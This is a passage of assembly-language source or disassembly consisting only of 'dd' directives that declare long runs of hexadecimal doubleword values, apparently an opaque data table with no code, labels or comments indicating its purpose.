86167F0Dh, 3B89A29Dh, 9CEEED15h, 0B3FBB622h dd 0C11B4374h, 0B68710ABh, 1C14CD64h, 59DAB914h, 91FF7B3Bh dd 948CE70Fh, 0B6E3E89Ch, 85E7018Eh, 8AE3A72Fh, 848AF0D7h dd 0E877EBC8h, 0CCBEE7B4h, 748A9E7Ch, 7E4B2A8Ah, 0E632E214h dd 0A138160Eh, 162586B0h, 0F557E5ACh, 0E8D19320h, 4DF748ADh dd 6D897BA4h, 0ACACF22Ah, 0A33BE83Dh, 7559159h, 86081BA7h dd 0AA182FAEh, 0AE7C694Bh, 0CA003A37h, 0A8F19C75h, 5495FA4Ch dd 26763BFBh, 6494F116h, 222B4C4Ah, 653ACBC0h, 83DAA881h dd 1AD2EB45h, 2F3F86D3h, 0B47EDB3Eh, 0EA0A337Bh, 0AB794DB3h dd 8D007F82h, 1D543999h, 1DA95836h, 876713D0h, 0E511893Ah dd 5D30AC75h, 2A67D25h, 3688814Eh, 5ACAF8D1h, 0AD7BB334h dd 0C056D487h, 52145D06h, 60A1D58Bh, 44D60B4Fh, 340672E1h dd 1A2A86E3h, 7B7D1B2Dh, 79CB3157h, 6FAE4DFEh, 0D2313A49h dd 0A7292639h, 9F948347h, 4DAA31C7h, 32E239Ch, 0EFF8F603h dd 2B34D806h, 0BCC7B1B0h, 5CFA29BBh, 0B997DBC3h, 0B0575EC0h dd 2B9E95Fh, 9779D0C9h, 0B73EB0F2h, 8FB87374h, 54270DB9h dd 0EB89C6D5h, 0F6D75437h, 2847A820h, 2D879B93h, 2F844989h dd 316643A6h, 8AE2E027h, 8DA14B8h, 747EA64Ch, 1CCB98DCh dd 9370F48h, 9D567921h, 35DA3FE5h, 0D1ECE419h, 5841BE84h dd 6D0741B3h, 0C95B8F49h, 659A5206h, 0EBC7D7D8h, 7116DF02h dd 0CDF2647Dh, 0EA748550h, 59024660h, 0F2835ACBh, 1AF6E7B6h dd 31F5F44Bh, 0BC02E50h, 5E6B2EE1h, 82B4E9D4h, 94FDD315h dd 0E121F9E3h, 1D61613Fh, 0D246109Bh, 0E50C217Dh, 0F24D0D68h dd 0B3F73C7Dh, 0B7A436BBh, 0D4324DCFh, 0F23E6FF1h, 569BB21Eh dd 0D740B38Dh, 4B8A7509h, 0ACD7B510h, 0E5D9B1DDh, 0B448A12Fh dd 6AB09154h, 0E566DC16h, 65B5315Fh, 9480395Eh, 518858CCh dd 0EBA5C11Dh, 0FF4807BCh, 0CEA87914h, 32451465h, 279F876Ch dd 0A6DE9AEDh, 0F13C6FBBh, 2397F292h, 22E25D18h, 0DFE6C2B5h dd 25A3179Eh, 8ED3FB16h, 0E3FEF74Ch, 984CE89h, 9DA725DCh dd 0C1BB60D5h, 2C15B1FBh, 0A802D273h, 3F9E6CA4h, 0BE2FFC3h dd 84DC47C2h, 0BD82668Eh, 8897771Ch, 679786F6h, 86BFBE80h dd 0EB45B116h, 0C0648305h, 0F5B928EBh, 0BE460EBBh, 5E9156A5h dd 0A6CDFABAh, 6EA12009h, 6A9285A1h, 0F34A1DA9h, 8F80D266h dd 20172CEEh, 9C2DD4EDh, 1BC69082h, 9D122582h, 3E5C6181h dd 0DBCCD01Ah, 0C50DE9D9h, 1CF3DAFBh, 656AE6E3h, 0D82655Ch dd 10EA9433h, 9DF40CA7h, 5723E97Dh, 24991AD5h, 0E2F11C49h dd 0A4004131h, 1500A354h, 3B57E15Ch, 0D72FD1AAh, 4DF1E798h dd 0B4D5331Ah, 9362C1B8h, 0F43CE632h, 0CADBAA73h, 923A54F9h dd 9666FFC3h, 47548970h, 0D0EE3122h, 0AFDAAEDFh, 0F6A4395Dh dd 7417EA12h, 18C27167h, 0E3CF17D5h, 667E1230h, 3EA122DFh dd 7410DD1Fh, 764253B4h, 0D9030A29h, 507E3F7Ah, 0A0E47536h dd 569CBDE7h, 0C2CE8EB0h, 5FC74C1Eh, 8FC78E21h, 21351C72h dd 86A70E79h, 141EA581h, 0A311F303h, 0E6BD6D7Eh, 0C08B8C8Dh dd 0BBAC4E0Ah, 9AEAA6B4h, 28220BAAh, 0DC01BB8Ah, 7274989Bh dd 9318213Dh, 2A201BC1h, 4EEEC2D4h, 43308852h, 0CDFE3E95h dd 65B99E55h, 287D6A4Ch, 0EAA3500h, 30BC22D2h, 0EC232EA6h dd 0BEC87AC7h, 8663FFDFh, 0B2C4D84Fh, 0F10ADE3h, 0F83C4FACh dd 0EFD550F6h, 0A74C18BBh, 4B6E71D8h, 0AAD32B49h, 3D20E3F4h dd 0A1BA4881h, 0F3751201h, 0E573DB2Ch, 5ED822B5h, 445A979Ah dd 3FC74A35h, 0DD4E4FFBh, 387CF1C3h, 57B78EE8h, 0E5D14ABh dd 6262733Bh, 520B6665h, 3507DEF3h, 7572B551h, 2DD0FF9Bh dd 5AC93D04h, 40BDDAF9h, 114FA797h, 0B9590A23h, 5B1BD4BCh dd 0B14D2427h, 96C7E89Dh, 8D585A00h, 0E05B26C7h, 84666FB9h dd 29284C38h, 6EA6F4A2h, 20693F9Dh, 0B311F909h, 0F2C8A52Ch dd 3DFDE7C3h, 1EEEE2B9h, 0C71FEFF7h, 0B54A52C8h, 0BD6E352Ch dd 0AAC9FFC0h, 0DCACA766h, 0CEE31D20h, 57A6DDAEh, 832A2ED4h dd 0EA2B0622h, 0E155E963h, 0BAFC5ECBh, 0CC6E1D31h, 0B1C2ACE6h dd 83A7A810h, 8CD786F1h, 3422EC94h, 0A665CF7Eh, 0D0E35936h dd 0A84B9587h, 174546B5h, 6BB6E0CFh, 302ACBBEh, 9A9694B4h dd 503818B5h, 683AAEA2h, 0FB3FAEBCh, 2008A6FCh, 367BFAB5h dd 0E9F44D00h, 9920FECCh, 92B29B07h, 0CAC68EDDh, 0CCD5D4E0h dd 4438EFE6h, 9584AD77h, 3D79D63Eh, 8A08D863h, 3D022436h dd 83AA9555h, 54DCB8BDh, 0C060693Bh, 8B979865h, 0C005DD4Bh dd 36DB7FDAh, 31B0577Ch, 52CC6D83h, 80C56FC9h, 5BB66E9Fh dd 8B62DAD6h, 91539E1Ah, 0E30743Dh, 0D3965C5Ah, 6F481800h dd 198FB00Ah, 0A4FA546Ah, 87E9B36Eh, 80F8F5EBh, 0BB4BCD83h dd 0A4677030h, 0F1635A79h, 953736BAh, 3DDC729Dh, 861FCA49h dd 862BD236h, 425217B7h, 112139Fh, 75B52D2Ch, 25ED4BC5h dd 0FF6AB170h, 75D800h, 0F9DFD27Dh, 7DC917Eh, 1F413636h dd 0F0240C2h, 55B25DB4h, 0DDDB99h, 7137F054h, 0F91728D7h dd 99CFF5BEh, 9D294ECDh, 9DA748D6h, 0C05FE18Eh, 0A7F92163h dd 0CE66C3F8h, 2D9F5942h, 0C021B688h, 0B555CB62h, 0DFBED96Dh dd 0A9A49B37h, 0F9A24336h, 0CAFBAAD1h, 14248251h, 0EAFFC822h dd 0A646B8D7h, 39FB7811h, 17E65B47h, 0B04E7137h, 0E3F160CCh dd 0FA13C8E6h, 1FC34B2Bh, 0E6DBB165h, 0EF772889h, 0C33585BDh dd 0F7AC7AF1h, 0D70FC47Ch, 0C72A2CEFh, 3B9DFB82h, 8FA3C301h dd 737CB5B0h, 0D0BF8DB6h, 0D9E20F51h, 0E6764ECAh, 6BF5AD07h dd 0BA2CD8F3h, 1159A5D7h, 76EF8D9h, 9C751E87h, 5BF26981h dd 0A7483D35h, 0B8BE5DB0h, 7785D914h, 0A7D9C617h, 9FCD147h dd 0DC5FB3FFh, 52F9A19Ch, 0FF188325h, 8EE6E66Ah, 0D4950DA7h dd 0F162CE4Ch, 0E6812BD5h, 0C193870Dh, 8D30AC59h, 0F34C91E3h dd 2180FFFh, 4E5A7D82h, 11612D0Ah, 5048B53Ah, 0DDE93382h dd 3564CF55h, 42B78A56h, 0A104CC58h, 0B40C924Bh, 0D5727BF6h dd 37D98C4Bh, 0C9898D47h, 0DE3B9770h, 0F0E4456h, 4544AA1Eh dd 138741BFh, 449919D7h dd 0BE86DAF2h, 550A6668h, 47851BF6h, 27D841CFh, 0DB09087Dh dd 5F6F9EEDh, 0B0530629h, 33574F43h, 0BCE83909h, 0AAAB5950h dd 8AF9CCA5h, 2AC9F8A8h, 64657CC6h, 0C4E2311Bh, 0DE14EEEDh dd 0C1ED86Eh, 0C38957Ah, 62840B3Fh, 0F1F91486h, 0DB115FA5h dd 7B921431h, 747771DAh, 0D922AD93h, 803C7437h, 2CD14A81h dd 0F1702AD1h, 4A40F77h, 66983D01h, 2518CFEAh, 5399347Eh dd 8F8C1DFEh, 0A361B7F3h, 3B07865Ch, 5E47B986h, 289E564Ah dd 916C358Fh, 9817617Dh, 0D4F71874h, 89D40520h, 6AB0077h dd 10214F2h, 0CEEA5A8Eh, 73F882DDh, 2A3D27B0h, 4536380Bh dd 0C6DB3725h, 3684A7Ah, 2D1AEB9Ah, 35FB7907h, 8482A8F7h dd 0AFBB692Fh, 0F96828A9h, 3A34420Dh, 0CB7E939Ch, 3DAD1FFDh dd 7AE78C1Bh, 223D1B50h, 61069FB0h, 2F3AB113h, 8CA722E9h dd 0A6AFEE75h, 38B764E5h, 1D5B8444h, 965668FCh, 8AE3A497h dd 0B76BAB31h, 7DEBBE76h, 0ECBFF6F2h, 2D592C34h, 4E22428Fh dd 0B6B2F199h, 558A6658h, 0D55052A3h, 7BE9ADF3h, 0A270A4C8h dd 8C60237Fh, 0E9239BF7h, 35C5B538h, 171865A3h, 0D023B4FEh dd 0AB5ADE5Ch, 9CA12F1Fh, 7084BC3Dh, 427F7658h, 33857694h dd 0F1CC8010h, 3275D9E2h, 7A241899h, 0A3C862F2h, 0B79D3DFEh dd 0EC820FFAh, 0C1D742D3h, 92F01809h, 0DF8EF97Bh, 1410E24Eh dd 0AE02A336h, 9DC2BF39h, 667DD0C4h, 877E9B53h, 0AED4240Ch dd 8FC51946h, 4F3CD2B0h, 60D3D9B7h, 3D7D4171h, 81ED084Bh dd 6F5CB63Bh, 0B4E3D73Ah, 0C7F8A6B3h, 27E58EB6h, 0AE5A6DAAh dd 0F8B564ACh, 0FE896E21h, 6B591957h, 208CF500h, 2CF4E828h dd 0C01FE596h, 3882EF47h, 0D02F164Ch, 2E6FF6FFh, 0BD687924h dd 0DD0C034Bh, 0A88D52EEh, 0DCA6AAF3h, 8AC3F72Bh, 9F5A5BD3h dd 0ACB812EBh, 0AFC0A53Ch, 14273003h, 34A8F93Dh, 8EA876F5h dd 11E98798h, 90710F70h, 17927CA1h, 0D3CA4FF1h, 40804FEh dd 83C43D9Eh, 84A1806Ch, 8B1A2967h, 0CE5B3B68h, 0F698FDDAh dd 0F876572Ah, 89C5DDADh, 2BC48B77h, 5102DC03h, 58A85612h dd 84BAF1ACh, 42E22B0h, 38CA06E9h, 0FDE819ACh, 0D0904E32h dd 0D1A7CDD1h, 7144C5B5h, 963C6096h, 441C14EDh, 10883C63h dd 5552F5F6h, 32BDB9A8h, 5618A97Dh, 86EF0699h, 57DAA60Bh dd 65666B9Fh, 0FEC66366h, 1C81781Fh, 5BD99A27h, 551DAD31h dd 422146A7h, 0F975189h, 307D6C07h, 519D0BC0h, 0A526F931h dd 0A180AE41h, 0C083DAC9h, 153E33B8h, 91E9ED21h, 6573C21Bh dd 667FAC0Dh, 2FEC466Ch, 0F9EB02F2h, 6FB2CAD5h, 71FAD9CAh dd 0A64E1103h, 0B3F50444h, 5584EB27h, 56DA0594h, 0A60045D2h dd 810CAE6Fh, 0EDB6C201h, 91DC9632h, 46E8EF15h, 9380BC31h dd 0BA620568h, 6D4E971Ch, 639E42D2h, 41624782h, 4CFA57E8h dd 0EC262509h, 0F9F628E7h, 0F2BD0756h, 0F9578097h, 6948C6A5h dd 0D6227CFh, 40D98804h, 0BA56A9BCh, 0BD9EC249h, 4A3CEBB2h dd 170D401Ch, 9100FA84h, 0F82292A8h, 0FCD9FCB3h, 391E32BBh dd 64CF3803h, 0B267F93Eh, 59C8ED15h, 0CAA5349Fh, 891E2974h dd 7D5D6725h, 0E16FA344h, 5CF70979h, 0C9857A93h, 2846F18Ch dd 0CF878A0Fh, 889BA59h, 0A650A617h, 12433811h, 3E54CC01h dd 0C7D5C663h, 0C777E1CEh, 93F3F777h, 0EC3DB81Ch, 0C2021C1Eh dd 6F14CF86h, 1233D4C9h, 3B94B88Eh, 1EC1EEEh, 0CC903E23h dd 81C387F9h, 0F401DC36h, 0D41A9E75h, 9DC50C2Ch, 0B2B2BCAh dd 0FCFCE92h, 9AB9DF5Eh, 12309657h, 3EDCFA50h, 494354C6h dd 11CEBBC5h, 35605521h, 0CC8452D0h, 0E578ABCEh, 0C021737h dd 647FE569h, 0E80BCA4Dh, 0E6325C78h, 60FE548Dh, 0C010A200h dd 0FAA20074h, 53CC61A9h, 0C455BF8Dh, 31DB4217h, 4261D499h dd 0A2BF4A04h, 0CE8051ABh, 1B5FA2EBh, 0CDBA700h, 8271C8B4h dd 6DA307A8h, 69DB7EBBh, 530B4AD2h, 0FE0349DCh, 9A40C56Ch dd 86C03CE4h, 0F02787ECh, 79B92C9Eh, 0AA427254h, 0C8C06158h dd 0C274E187h, 9C6C84C2h, 0E25FA5Ch, 0CF76152Dh, 2EDC9371h dd 3E8E8CF7h, 9EE5D9F6h, 87D16C17h, 0E9A881FCh, 0E343F210h dd 6B7EAD5Bh, 663998E4h, 0AF8F63FCh, 0C68C67ACh, 8A419D91h dd 5E743EBBh, 0BCDFE3E6h, 62067A82h, 38E75620h, 9CB8FA3Dh dd 7BBD259Ah, 20B6858Fh, 0A02E829Ah, 18915F1Bh, 0C192D201h dd 8E1AB77h, 22F2D7C4h, 30B56754h, 0F80D06F2h, 56079807h dd 18030027h, 0F1B4AEF3h, 31A2A601h, 98363DF0h, 6667D66Ch dd 2F6E9A11h, 0E40D6779h, 37D048h, 0DB4438B2h, 535A5982h dd 6ED2539h, 0B588A4BAh, 0D71B8CD0h, 3B860E43h, 0D9838CDBh dd 92AD422Ch, 0B4864B3Eh, 0C27724B8h, 92E044F2h, 0A8690A27h dd 2CC3F177h, 8CB89BF2h, 0C4FF99BCh, 94C0021Bh, 3700F941h dd 0BC54EA35h, 1E7C8668h, 0F4B6B637h, 0B516069Bh, 33B294B4h dd 9EBD112Ah, 8B3E0788h, 5DA2402Eh, 0FD72DAA6h, 63246B0Bh dd 4668E0B5h, 0EBB87C2Ah, 4FBE25CFh, 8B652D25h, 5C217D5Ch dd 24BD8344h, 34B97413h, 1E0C2757h, 0A90039D5h, 7C8049B8h dd 64706BC4h, 0CEE4F31Dh, 53FCDA70h, 9EE4BFC9h, 26395F1Ch dd 0A7A11782h, 6469ADB5h, 3E834201h, 0B2B11232h, 67DFC30Ah dd 0F4A50CD2h, 0EEF560ADh, 48118AF0h, 22D12336h, 72CE9C1h dd 2E833A78h, 0B225A937h, 8FE195B7h, 4C2EF68Ah, 5F4F050Dh dd 931959EDh, 806A5E4Fh, 3E44F186h, 0EDDBD288h, 0C6C8BCB0h dd 0CD4E9313h, 185AF687h, 0F6005E33h, 0B9B90709h, 15EB595h dd 7C851647h, 9C8E24FBh, 94A1EDCEh, 9CA085BCh, 5B0C3967h dd 10C324ACh, 92ABB7ABh, 62436D5Dh, 0FA187CABh, 0B7F315E2h dd 0A2E5C837h, 28FA3C5Fh, 431A059Fh, 7D0612CAh, 81CF3189h dd 693E6854h, 43A6C9C7h, 90EEE054h, 0EAAB3D96h, 75870B54h dd 0D65265F5h, 68B9528Dh, 8E24C607h, 4E26616Bh, 0C1CB688Bh dd 811D7E30h, 5778DCF2h, 7466E8A2h, 0AAE0525h, 56F6EC9Dh dd 0A1D43629h, 8BFF3E1h, 0EB7B24D5h, 8918FF26h, 0CC127C0Fh dd 0D17DC24h, 0C6434EEEh, 0B6E4D133h, 0BD2532D0h, 0BC12BDACh dd 56CB1A12h, 4441FB22h, 0E6771E66h, 0A5C90h, 0B6A4E6D3h dd 14C2B9Dh, 0E216822Ah, 48B4AC78h, 121EC31Fh, 520743FCh dd 57AFADC4h, 8B4E869h, 0D43D7B96h, 0D8EFCF71h, 6920385Fh dd 0CD6DFD33h, 77F3C313h, 5289F6Ah, 147A944Ah, 3C31A31Ch dd 0BF7B17B1h, 0C6466134h, 5E0BBC72h, 83AD4C79h, 0ACC55EB2h dd 3245EDE5h, 38442FEAh, 251517D3h, 0BF36CED6h, 8089F2E0h dd 0F12333E2h, 9A8C5D15h, 417B2753h, 1EC623B8h, 74EB4195h dd 5F032EE3h, 992F4FAEh, 3E201FF3h, 412B0EDFh, 0C2830E27h dd 0A18D6374h, 8D2CD8EBh, 4E9BD3BDh, 0FEBF9DFFh, 42FBC575h dd 6029B178h, 9014C45Eh, 0B56A6D02h, 50340947h, 0CE5839FBh dd 0FD4847F8h, 67AC8A67h, 0F92AC933h, 95A69AF8h, 41ED3E04h dd 0F2F1512Bh, 0D36E4C57h, 29FDDF5Ah, 4AAFB78Eh, 0BBC059h dd 0A78BB00h, 46D14290h, 3CCD59C8h, 13A5F9A0h, 0CB0A8E5Dh dd 0EE2A7983h, 0B889CE49h, 9F0B57A0h, 0F6AC8D96h, 4BC8E2A7h dd 4341B0EBh, 90F4901Ah, 0AF3190F1h, 3CD4F3C6h, 49710C05h dd 0BDEBBB46h, 0E0BB3DE3h, 34B22603h, 8128BD7h, 590C736h dd 2D892C95h, 0B9042C2Eh, 4BB3190Dh, 5540A7DCh, 8EF06B3Fh dd 8B395C13h, 1D11DF91h, 0A25C50E4h, 0B0CB3FA3h, 43F00469h dd 9F7A7ECCh, 0CAF053E0h dd 0FCF05F9h, 89CA54C8h, 88C1C85Fh, 0AE46E2Fh, 965121BEh dd 9AA87426h, 49A8DF5Bh, 157FE091h, 0F1426BBBh, 19EDA8E5h dd 8C9F260Bh, 0D585855Eh, 72ACF785h, 9FF91653h, 0A8C50322h dd 0C47D75DDh, 9D57815h, 4673F6E1h, 1C8B843Fh, 3D337097h dd 0F98DAA66h, 99B75B3Dh, 39B23E66h, 68AF22FFh, 0D2212180h dd 92078009h, 0AFB91116h, 1FD0DE7Fh, 0FC04CABAh, 0C2739480h dd 17675A64h, 0B94D1CACh, 1611E9BEh, 2866512Bh, 4582A31Fh dd 0D17E2F66h, 0C0FD148Ch, 8499D2BAh, 0A9B712C3h, 0F971847Eh dd 4D9C4E17h, 638B229Eh, 583F9884h, 0CA0551A3h, 2A004092h dd 75471EC7h, 8984F3CCh, 3210F905h, 0C746B8C9h, 20C22FBAh dd 0BEBD179Ah, 0AF540B5Dh, 21CC097Eh, 0F8DBFDE0h, 0A37D64AFh dd 365D4E63h, 4CC89756h, 0C62D8F1Dh, 0F51BF7C3h, 78435CACh dd 0F218257h, 20E75CA8h, 0D5AE1BD5h, 0A670DCA0h, 792FABD1h dd 3AF7EF60h, 4111D249h, 8BB3F931h, 0D7E03837h, 48D2CFBEh dd 9FF7C9A0h, 16C81F19h, 99A4D3CEh, 0BE564C1Ch, 0E9423B62h dd 0E6EFE8B0h, 1CCAA4FDh, 373C19D3h, 1813C1C3h, 4B3303E7h dd 0DFAEF499h, 67BF697Ch, 428BB594h, 0A471B46Bh, 6C7A4843h dd 9242DCCDh, 0C3BA98A7h, 26B257F7h, 0A3644959h, 9D05345Bh dd 0D28153CEh, 100D112Ch, 0F88905B6h, 919C7C46h, 0F56E086Ah dd 0FA38FE5Ah, 0B163300Ch, 403BAE43h, 0B3BA7E1Fh, 6BFC3C3Ch dd 0E0568293h, 66D32E31h, 4920950Dh, 9E6E4ED5h, 2506585h dd 47102E66h, 2D170A75h, 95FC8CCEh, 372563D2h, 0C7FED848h dd 11CA24D3h, 0D5DADB5h, 0A29B394Bh, 197288DCh, 20E90B8h dd 51886588h, 0FC4E835Ch, 29D48B12h, 510D9F0Ah, 27F32638h dd 0C2418669h, 0E563FFEFh, 9CB669FCh, 6DB80F0Eh, 4954A6D6h dd 19CE4858h, 216EA5D6h, 0FF6712DAh, 2D614C86h, 96F1BF95h dd 0F43720C4h, 88F93D64h, 6DF876FCh, 2B27780Eh, 0A1CD5745h dd 84D06F50h, 0DB770B24h, 0D8E3AA40h, 0D2DA81C3h, 5F968D1Ah dd 2DAA322Fh, 0E48CA583h, 0E903D206h, 0B423D926h, 3C0FF3ABh dd 2B4EA115h, 281AFCC4h, 7E5F4FB0h, 0E84C67C5h, 0ADAA1B5Eh dd 3FBB380Dh, 81D0B787h, 942F12C1h, 32F4DFFDh, 3A497036h dd 0BC010E15h, 9A039393h, 1BF50007h, 9E0F7DACh, 5B2244DBh dd 0B8006756h, 21368FB6h, 6D93A475h, 0F7B84799h, 0F042977Ah dd 46011194h, 0B8F6A91Fh, 5B69BD90h, 0F378B1A5h, 7CB89786h dd 956CD931h, 5E35B92Fh, 8CB226BBh, 29990C36h, 0B8AEC7A0h dd 0D7E2021Fh, 0C874C9E2h, 836D1A74h, 7F03EFE5h, 0A0A0F88Ah dd 0E04A8D58h, 0A2AE216Bh, 0C01D208Fh, 43B69955h, 712F02BDh dd 6C0692AEh, 82A5F638h, 0BF39E2B1h, 73531449h, 4628DB71h dd 0D4F2EDBDh, 0AD49DBB4h, 0EA52D2BAh, 1A118A85h, 0C152FD76h dd 70DD8F1h, 7F3E3E08h, 0B61CD834h, 0CC555822h, 9F2F3CBh dd 638FA8D8h, 9CC3D0CCh, 7BF6B093h, 0C03B9F1h, 762D7DBAh dd 0ABB3175Fh, 4A823F70h, 82DC71A0h, 5B97F6CBh, 0CA27969Eh dd 0C7ABEECh, 0B8D6D1E6h, 0E4C86F67h, 0E457F53Ch, 9AFEA838h dd 70F9354Ch, 14768415h, 0D334AA3Dh, 2C049DC8h, 8EEDDCC8h dd 0F5B0A3B8h, 47C66228h, 860A1BC0h, 0A11E2E3Ch, 84C744h dd 0A6FB8908h, 6068626Ch, 4F4A9718h, 474E66C1h, 95FBCFDAh dd 0D5E30D34h, 64CA6D71h, 0B0C1A1CEh, 0F074C511h, 783C2379h dd 962E2F33h, 0DFC6AC5Dh, 0A38F07C3h, 63FBBE30h, 0F77481Eh dd 0D5E122A1h, 1D71CAB4h, 0A344EC74h, 183A0BDAh, 0E84D7F49h dd 271B1621h, 0BE885613h, 0B1D5E95Ah, 8C2DBAF9h, 0E6AA47B8h dd 6D2064FBh, 0ED329B5Bh, 5E1B2CE7h, 6B903787h, 84174750h dd 78CD67B8h, 0F3576506h, 4506AFFFh, 15D0E333h, 9BD03178h dd 2E524F2Ah, 33315AC1h, 0B7F3B4D8h, 2F700B33h, 0CD5996E2h dd 98153014h, 723C0D39h, 0EA91F1C1h, 19516F92h, 0CEB5EE04h dd 4F60432Ah, 25C38382h, 0BE4013E2h, 0A8027B56h, 0D8B9594Ch dd 18CDE693h, 0C4F23CDDh, 397CF23Ch, 0B1A1F824h, 0E68B2C56h dd 0B28EE901h, 6F4F7553h, 93C3979h, 905C9F51h, 69643900h dd 0E6EA5078h, 0BF2421Fh, 16713D6Fh, 0A0946AFBh, 7C3E6A23h dd 0D6C2A894h, 7C55775Ch, 876FA401h, 4012BBA6h, 2137EFD5h dd 7DAEA723h, 63791650h, 67BAF3BDh, 4B3B6668h, 0F5FAE425h dd 47338098h, 8D816BD2h, 0EE060AA7h, 951B6DEh, 8B1CC5BBh dd 34C2E258h, 68C07DBCh, 64C3A632h, 4960DCF5h, 0CBB1317Fh dd 49AC963Fh, 8739A9Dh, 3D8DF7D2h, 8AE58F5h, 5A325A4h dd 216D8F4Bh, 99E6FC94h, 0D55B4EA9h, 12ED9942h, 39F04FE3h dd 0F05BE712h, 0FC28A5D9h, 0E7D25206h, 4F8C173Bh, 84AA5688h dd 0B63F12ABh, 1643CB7h, 6229B824h, 0D6B8F777h, 8BE071DFh dd 0F6E62D15h, 48C77FB8h, 9C147048h, 5C13091Bh, 4D3F6DD5h dd 0F80BC33Fh, 0F2AFB8EBh, 515CBE4Eh, 0B49B8297h, 49E2DE71h dd 0EA143981h, 0D36DAA72h, 3AECDD24h, 718FC76Ch, 706FFCE0h dd 0C4D58B90h, 2BB780D4h, 0FC4D2F31h, 0BE7DD910h, 698537A0h dd 0B17D1DFFh, 0E8A4709Dh, 742CBA6Ch, 0ED12BD6Eh, 5108ACAFh dd 0F6DAA3AAh, 0F46BE96Eh, 0BC12F1C1h, 4CD7580Fh, 93C2DF04h dd 0C71B277h, 223B61FBh, 2A0047E5h, 0DA998ACDh, 46007186h dd 7A5FF9C7h, 0E6E3F924h, 4DDE6612h, 0CBF390A7h, 0FECB485Ah dd 0A8E0B3C0h, 8D79CA29h, 2A89567h, 0E6F6E5E8h, 9517A7Dh dd 1F6F0F26h, 48285ABBh, 0EC55762Ah, 3D6B9C46h, 2DF4928Eh dd 0DDBB673Ah, 6D62CCFFh, 623432D5h, 493B6FFBh, 0DCDD43B7h dd 4389FB62h, 0EE1A70E0h, 90500869h, 0CF0E2208h, 5B08D8E9h dd 5EB9C18Bh, 73EE7C9h, 9C525061h, 1C6519E0h, 0A7506089h dd 0F26D3D7Ah, 16438285h, 0BC018D46h, 0CF2F807Fh, 0CAFCE619h dd 0B036A548h, 5ABB7C6Eh, 874F957Ah, 63EC5891h, 0ED847BB6h dd 1E78445Dh, 2811C623h, 7FFA40BFh, 5310B2Ah, 4CB0439Fh dd 2BC75E07h, 64B30708h, 17D501E5h, 66DEA2C3h, 0C8A99459h dd 0B4D32C0Bh, 45DB7932h, 0D07E0167h, 0E7BE2249h, 96D331A7h dd 0B95F88B1h, 5147E020h, 0A621B955h, 1BD606B9h, 0C1833C65h dd 0AD068A67h, 0B8934091h, 0B51BBC9Dh, 0A567B761h, 0BC360851h dd 0C23D1D4Eh, 0E6CE011Bh, 6B6DCB85h, 5975C6A6h, 0FEBB6861h dd 1DC8037Fh, 83003A52h, 0E49D3A3Ch, 0F9768FF2h, 0FDCCE93Ch dd 0A60C9A76h, 72D1E778h, 5E09FA6Ch, 64E9FB1Ah, 4D08236Ah dd 96E731Eh, 0ACC909F0h, 0BEFA235Ah, 0B494511h, 7C206F6Bh dd 0C6597DDh, 0C1EE0817h, 4BCD5BF3h, 4A423627h, 368A8ADh dd 524E9429h, 0C4BE7BB0h, 347C7EEh, 0A7938D2Ah, 0A7A68AD4h dd 43A6F241h, 6897F48Ch, 0C9AE327Ah, 0F0EC7EA6h, 2C9FE3F1h dd 43561915h, 95F05376h, 73A97616h, 0EF8CF532h, 2F21B932h dd 0BBD1B055h, 6377C0F2h, 7CBF41E0h, 554DA79Dh, 909FE992h dd 25C23C29h, 0FCAB7944h, 0F0AD97E9h, 3988498Eh, 3C72B52Ch dd 51E9D398h, 6AF45C51h, 820769E4h, 4BF896B9h, 50EC11F7h dd 0FE1E5DA8h, 42547BD9h, 7C5D6E8Dh, 0BA87041Ah, 13A8402Bh dd 0A4C61820h, 7D27E438h, 2217DEE7h, 0A1CC728Eh, 75834B07h dd 50D61D41h, 0B2504739h, 97832ABCh, 0E58AA525h, 81C831A7h dd 82ED93EDh, 0FAE7690Ah, 424EC0BBh, 55489BFAh, 53EC0BE7h dd 79AA5FD9h, 0CD3F23B1h, 47E21230h, 278278AAh, 8D4CF2B4h dd 0EF5B86DDh, 7590E183h dd 94D0D671h, 3223F40Eh, 4932A0A2h, 26E905B8h, 8D758FE4h dd 2541EE3Dh, 50154E75h, 0C57DC4E2h, 46FDCE61h, 648C45B2h dd 63526B78h, 1AC131F1h, 579C9F86h, 0E1947071h, 209B91EEh dd 0B7918C2Eh, 0B416A36h, 4AB1B4F4h, 0ED8E7879h, 675992C1h dd 93120181h, 807BAF2Ah, 55FBB648h, 0C45E65ABh, 0C75345D2h dd 0FE332AB7h, 2F43445h, 803A9AB9h, 58501B57h, 2130F989h dd 69C660DBh, 314D9884h, 5B9AB0AEh, 6DAA217Eh, 37970729h dd 0C50D3CC6h, 7747138Bh, 9648EA29h, 0AF4A7BC3h, 926BF317h dd 8E3DA5F3h, 93DDFB88h, 6514C71h, 8A85E3ACh, 0F8702B19h dd 16A5AE4Dh, 0BD406C05h, 2F478275h, 7A11C5EEh, 6F1ED520h dd 43098185h, 2069B110h, 922351DEh, 97B6BA32h, 0ADB8AFA2h dd 0D6BAD75Ch, 0D2CFC8D6h, 74A8801Bh, 42CF3E91h, 9C54191Bh dd 742A27E6h, 0A23A2A58h, 2DE1A5A2h, 71CAF4BBh, 1C3369C6h dd 0FA087CC0h, 1DF025B8h, 0AE328597h, 0E1B136B7h, 95FEB5F1h dd 81854B8Fh, 0E590D72Ah, 6F774CA6h, 0D24322C4h, 81F9196h dd 0B89A3244h, 0F64C2A4Ch, 0F1E89D2Bh, 300A22E0h, 9D63FEB5h dd 4F05CA0Ah, 75F4DB86h, 0A35A16B8h, 0A5F01B7Fh, 0BEFEB3B9h dd 41C7A7ECh, 10F1AABAh, 37048011h, 0D27FA8BDh, 0A556565Ch dd 0E46738C4h, 44DD63E2h, 3F10B31Fh, 826C180h, 0DAC17B66h dd 0E5E215DFh, 79AA4CECh, 95E81857h, 9CA96763h, 55A14398h dd 0A3419DBh, 530EB4ABh, 0B72D6425h, 6B9B89E7h, 26BAF637h dd 3D5FC539h, 312A4794h, 0E03DD02Dh, 0D65F6386h, 0D86DCF0Dh dd 46FC2922h, 0B54D0ABh, 40FAFBFAh, 77BF24F9h, 54D94CF9h dd 0C2495C61h, 3AECD2FEh, 0A21920EEh, 94FE35A5h, 3CD11B79h dd 0BA6E2945h, 8F28295Ch, 0CD71AE5Eh, 4711FCA5h, 12F32AFEh dd 0E061D631h, 59A96B79h, 0D8102F35h, 0BEAED04h, 234915C9h dd 688336h, 0B2182F2Bh, 5B4AAA7Eh, 6D83FC26h, 6A1B1062h dd 2218EA65h, 6506C566h, 3BEBCC92h, 0A6C4AFEDh, 0D5213395h dd 62A8A4CCh, 18781CE4h, 0A596BED5h, 